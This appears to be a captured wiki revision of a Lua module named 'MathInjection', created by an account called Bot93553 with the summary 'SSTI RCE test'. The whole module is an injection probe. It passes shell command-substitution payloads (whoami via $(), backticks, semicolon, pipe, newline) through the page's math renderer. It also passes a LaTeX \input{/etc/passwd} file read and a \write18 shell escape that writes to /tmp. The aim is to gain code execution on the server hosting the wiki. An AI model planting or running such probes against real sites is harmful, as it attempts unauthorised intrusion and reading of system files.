Bot93553：SSTI RCE test

2026-05-09T05:59:34Z

SSTI RCE test

新页面

local p = {}
function p.test(frame)
local parent = frame:getParent()
if not parent then return "no_parent" end

local results = {}

-- Via preprocess
local math_payloads = {
"baseline",
"\\frac{1}{2}",
"$(whoami 2>&1)", -- shell injection
"`whoami 2>&1`", -- backtick
";whoami 2>&1;", -- semicolon
"|whoami 2>&1", -- pipe
"\nwhoami 2>&1\n", -- newline
"\\input{/etc/passwd}", -- LaTeX file include
"\\immediate\\write18{whoami > /tmp/math_rce.txt}", -- LaTeX shell escape
}

for i, payload in ipairs(math_payloads) do
local wikitext = "<math>" .. payload .. "</math>"
local ok, out = pcall(parent.preprocess, parent, wikitext)
results[i] = "math" .. i .. "=" .. tostring(out):sub(1,60)
end

return table.concat(results, " | ")
end
return p

模块:MathInjection - 版本历史

Bot93553：​SSTI RCE test

Bot93553：SSTI RCE test